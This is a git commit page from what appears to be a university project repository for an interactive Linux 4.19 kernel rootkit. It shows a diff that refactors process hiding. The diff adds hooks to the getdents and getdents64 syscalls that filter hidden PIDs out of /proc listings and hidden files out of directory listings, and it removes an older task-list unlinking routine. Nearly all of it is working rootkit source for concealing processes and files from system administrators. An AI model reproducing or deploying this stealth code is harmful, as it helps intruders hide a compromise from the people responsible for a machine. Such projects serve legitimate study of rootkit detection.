linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 44190c61724e59f8e0b54deb09b4ac1f705998e6
parent 4f83ef383b32a24b525ded92bf018ca3c473785d
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 29 Nov 2020 10:53:47 +0100

refactors code

Diffstat:
Msrc/hidepid.c | 39++++-----------------------------------
Msrc/hidepid.h | 8+++++---
Msrc/hook.c | 41+++++++++++++++++++++++++++--------------
3 files changed, 36 insertions(+), 52 deletions(-)

diff --git a/src/hidepid.c b/src/hidepid.c @@ -3,9 +3,8 @@ #include "hidepid.h" -static pid_list_t hidden_pids = { +pid_list_t hidden_pids = { .pid = -1, - .task = NULL, .prev = NULL, .next = NULL, .head = NULL, @@ -16,49 +15,20 @@ static pid_list_t hidden_pids = { void hide_pid(pid_t pid) { - size_t i; - struct pid *spid; - struct task_struct *task; - if (list_contains_pid(&hidden_pids, pid)) return; - if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID))) - return; - - { // unlink from circular DLL of task_structs - task->tasks.prev->next = task->tasks.next; - task->tasks.next->prev = task->tasks.prev; - } - - { // TODO: remove pid from `pidhash` - } - - add_pid_to_list(hidden_pids.tail, pid, task); + add_pid_to_list(hidden_pids.tail, pid); } void unhide_pid(pid_t pid) { - size_t i; - struct pid *spid; pid_list_t_ptr node; - if (!(node = find_pid_in_list(&hidden_pids, pid))) return; - if (!(spid = get_task_pid(node->task, PIDTYPE_PID))) - return; - - { // relink within circular DLL of task_structs - node->task->tasks.next->prev = &node->task->tasks; - node->task->tasks.prev->next = &node->task->tasks; - } - - { // TODO: readd pid to `pidhash` - } - - remove_pid_from_list(hidden_pids.tail, pid); + remove_pid_from_list(node, pid); } void @@ -105,14 +75,13 @@ find_pid_in_list(pid_list_t_ptr list, pid_t pid) } pid_list_t_ptr -add_pid_to_list(pid_list_t_ptr tail, pid_t pid, struct task_struct *task) +add_pid_to_list(pid_list_t_ptr tail, pid_t pid) { pid_list_t_ptr node; node = (pid_list_t_ptr)kmalloc(sizeof(pid_list_t), GFP_KERNEL); if (node) { node->pid = pid; - node->task = task; node->next = NULL; node->prev = tail; tail->next = node; diff --git a/src/hidepid.h b/src/hidepid.h @@ -2,18 +2,20 @@ #define _GROUP7_HIDEPID_H #include <linux/types.h> -#include <linux/sched.h> + +#define PID_FROM_NAME(name) (simple_strtoul((name), NULL, 10)) typedef struct pid_list *pid_list_t_ptr; typedef struct pid_list { pid_t pid; - struct task_struct *task; pid_list_t_ptr prev; pid_list_t_ptr next; pid_list_t_ptr head; pid_list_t_ptr tail; } pid_list_t; +extern pid_list_t hidden_pids; + void hide_pid(pid_t); void unhide_pid(pid_t); void clear_hidden_pids(void); @@ -22,7 +24,7 @@ void unhide_pids(void); void init_pid_list(void); bool list_contains_pid(pid_list_t_ptr, pid_t); pid_list_t_ptr find_pid_in_list(pid_list_t_ptr, pid_t); -pid_list_t_ptr add_pid_to_list(pid_list_t_ptr, pid_t, struct task_struct *); +pid_list_t_ptr add_pid_to_list(pid_list_t_ptr, pid_t); pid_list_t_ptr remove_pid_from_list(pid_list_t_ptr, pid_t); #endif//_GROUP7_HIDEPID_H diff --git a/src/hook.c b/src/hook.c @@ -4,6 +4,7 @@ #include <linux/xattr.h> #include <linux/fdtable.h> #include <linux/list.h> +#include <linux/proc_ns.h> #include "common.h" #include "hook.h" @@ -97,6 +98,7 @@ g7_getdents(const struct pt_regs *pt_regs) { typedef struct linux_dirent *dirent_t_ptr; + bool may_proc; unsigned long offset; dirent_t_ptr kdirent, cur_kdirent, prev_kdirent; struct dentry *kdirent_dentry; @@ -115,24 +117,29 @@ g7_getdents(const struct pt_regs *pt_regs) atomic_inc(&getdents_count); kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry; + may_proc = rootkit.hiding_pids && kdirent_dentry->d_inode->i_ino == PROC_ROOT_INO; inode_list_t hidden_inodes = { 0, NULL }; inode_list_t_ptr hi_head, hi_tail; hi_head = hi_tail = &hidden_inodes; - struct list_head *i; - list_for_each(i, &kdirent_dentry->d_subdirs) { - unsigned long inode; - struct dentry *child = list_entry(i, struct dentry, d_child); + if (rootkit.hiding_files) { + struct list_head *i; + list_for_each(i, &kdirent_dentry->d_subdirs) { + unsigned long inode; + struct dentry *child = list_entry(i, struct dentry, d_child); - if ((inode = must_hide_inode(child))) - hi_tail = add_inode_to_list(hi_tail, inode); + if ((inode = must_hide_inode(child))) + hi_tail = add_inode_to_list(hi_tail, inode); + } } for (offset = 0; offset < ret;) { cur_kdirent = (dirent_t_ptr)((char *)kdirent + offset); - if (list_contains_inode(hi_head, cur_kdirent->d_ino)) { + if ((may_proc && list_contains_pid(&hidden_pids, PID_FROM_NAME(cur_kdirent->d_name))) + || list_contains_inode(hi_head, cur_kdirent->d_ino)) + { if (cur_kdirent == kdirent) { ret -= cur_kdirent->d_reclen; memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); @@ -161,6 +168,7 @@ g7_getdents64(const struct pt_regs *pt_regs) { typedef struct linux_dirent64 *dirent64_t_ptr; + bool may_proc; unsigned long offset; dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent; struct dentry *kdirent_dentry; @@ -179,24 +187,29 @@ g7_getdents64(const struct pt_regs *pt_regs) atomic_inc(&getdents64_count); kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry; + may_proc = rootkit.hiding_pids && kdirent_dentry->d_inode->i_ino == PROC_ROOT_INO; inode_list_t hidden_inodes = { 0, NULL }; inode_list_t_ptr hi_head, hi_tail; hi_head = hi_tail = &hidden_inodes; - struct list_head *i; - list_for_each(i, &kdirent_dentry->d_subdirs) { - unsigned long inode; - struct dentry *child = list_entry(i, struct dentry, d_child); + if (rootkit.hiding_files) { + struct list_head *i; + list_for_each(i, &kdirent_dentry->d_subdirs) { + unsigned long inode; + struct dentry *child = list_entry(i, struct dentry, d_child); - if ((inode = must_hide_inode(child))) - hi_tail = add_inode_to_list(hi_tail, inode); + if ((inode = must_hide_inode(child))) + hi_tail = add_inode_to_list(hi_tail, inode); + } } for (offset = 0; offset < ret;) { cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset); - if (list_contains_inode(hi_head, cur_kdirent->d_ino)) { + if ((may_proc && list_contains_pid(&hidden_pids, PID_FROM_NAME(cur_kdirent->d_name))) + || list_contains_inode(hi_head, cur_kdirent->d_ino)) + { if (cur_kdirent == kdirent) { ret -= cur_kdirent->d_reclen; memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret);